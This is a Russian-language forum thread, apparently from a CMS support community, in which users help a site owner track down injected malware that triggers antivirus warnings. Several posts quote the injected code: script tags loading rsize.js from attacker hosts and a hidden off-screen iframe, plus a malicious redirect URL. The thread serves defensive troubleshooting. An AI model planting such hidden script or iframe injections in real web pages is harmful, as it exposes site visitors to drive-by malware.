Как такое может быть? где искать вирус?

 
Посетитель
small user social cms
МедальАвторитет форума
Сообщений: 1012
при открытии этой статьи антивирусник ругается. другие статьи и разделы открывает нормально. как такое может быть и где искать вирус?
подскажите кто сталкивался.
Посетитель
small user social cms
Медаль
Сообщений: 373
У меня каспер промолчал, правда фокс отключил яву
Код HTML:
  1. </html><script src="http://mkxufuz.ns2.name/js/rsize.js"></script>
что за бяка?
Реклама
cms
Посетитель
small user social cms
МедальАвторитет форумаКубок зрительских симпатий
Сообщений: 1074
похакали маленько smile файл шаблона проверяйте, в самом конце должна быть вставка чужеродная, возможно начинается с eval или base64
я cделал тиц 20 за 300р в месяц / 15$ в день ничего не делая / почему контекст лучше тизеров
Модератор
small user social cms
МедальКубок зрительских симпатий
Сообщений: 251
nedoriko:

при открытии этой статьи

почему только этой статьи, скрипт идет через весь сайт. а выводит он вот это
Код PHP:
  1. <b><div id="pftgfkz"><iframe width="6" height="10" style="position: absolute; left: -1000px; top: -1000px; z-index: 1;" src="http://mkxufuz.ns2.name/advjump/2"></iframe></div></b>
лучший сервер для Вашего сайта
Посетитель
small user social cms
Медаль
Сообщений: 373
да в конечном итоге пытается вывести на http://testru-online.ru/in/?pid=4&lid=76&;
page=/gta5/&p=0&s=13606 не нажимать без антивируса!, ковыряйте шаблоны и индексные файлы.
Посетитель
small user social cms
МедальАвторитет форума
Сообщений: 1012
StaryiSV:
почему только этой статьи,
у меня он другие открывает без проблем.
picaboo:
файл шаблона проверяйте, в самом конце должна быть вставка чужеродная, возможно начинается с eval или base64
вот так у меня он заканчивается.:
<!-- /Yandex.Metrika counter --> </html>
Посетитель
small user social cms
МедальАвторитет форумаКубок зрительских симпатий
Сообщений: 1074
nedoriko, ну телепатически сложно найти где инклюд идет. надо смотреть внимательно все шаблоны, index.php или может плагин какой внедряет или компонент. если не справитесь сами - пишите ftp в личку, посмотрю.
я cделал тиц 20 за 300р в месяц / 15$ в день ничего не делая / почему контекст лучше тизеров
Посетитель
small user social cms
МедальАвторитет форума
Сообщений: 1012
googlebot:
У меня каспер промолчал, правда фокс отключил яву
Код HTML:
</html><script src="http://mkxufuz.ns2.name/js/rsize.js"></script>
что за бяка?
а эту бяку я вчера уще удалин.
Посетитель
small user social cms
Медаль
Сообщений: 269
попробуйте http://revisium.com/ai/
не помню кто давал эту ссылку, но она мне очень помогла
Мой первый проект которым я занимаюсь больше месяца ))) http://in-army.com/
Посетитель
small user social cms
МедальКубок зрительских симпатий
Сообщений: 754
Проблемы ПРи открытии ТОЛЬКО этой статьи? Ну как миниму посмотреть исходный код в базе.Найти статью В cmc_content
(найти эту статью) phpmyadmin ->редактировать запись. И просмотреть весь исходный код (в базе)этой записи, вот там зарыты все клады!
Посетитель
small user social cms
МедальАвторитет форумаКубок зрительских симпатий
Сообщений: 2593
Как такое может быть? где искать вирус?
Посетитель
small user social cms
МедальКубок зрительских симпатий
Сообщений: 754
Как такое может быть? где искать вирус?

Нормальная страница.
Фреймы нет .
А кто поручиться за это
Код PHP:
  1. <script type="text/javascript" src="/templates/chutveselej/js/jquery.cookie.js"></script>
может быть
Редактировалось: 1 раз (Последний: 29 января 2013 в 21:11)
Посетитель
small user social cms
МедальКубок зрительских симпатий
Сообщений: 754
Может уже решена
Код PHP:
  1. src="h t t p ://mkxufuz.ns2.name/advjump/2"
Не прослежен.
Это старая и уже не адеквантная модификация "marcuz" китайцы рулят лет 5 .Заражается обычно весь сервис бесплатного хостинга.Искать вину в системе? Желательно показать в теме и разбор полетов.
Редактировалось: 1 раз (Последний: 29 января 2013 в 21:26)
Посетитель
small user social cms
МедальКубок зрительских симпатий
Сообщений: 754
Вот таки методами хостер навязывает много проблем.Посмотри внизу страницы (исходный код страницы)после закрывающего тег HTML увидиш
Код PHP:
  1. </html><script src="http://vieofqa.ddns.name/js/rsize.js"></script>
.
Не найти его нигде , ни в файлах , ни в базе.
Вот это и есть "ГРОМАДНАЯ УСЛУГА" твоего хостера.
Посетитель
small user social cms
МедальАвторитет форума
Сообщений: 1012
oll:
Проблемы ПРи открытии ТОЛЬКО этой статьи?
да

oll:
исходный код в базе.Найти статью В cmc_content
нашел. в ней ничего лишнего. там даже кода нету.
oll:
А кто поручиться за это
а что там можно сделать? обычный файл.
Спойлер
oll:
Может уже решена
у меня попрежнему тренд ругается
В начало страницы
Предыдущая темаСледующая тема Перейти на форум: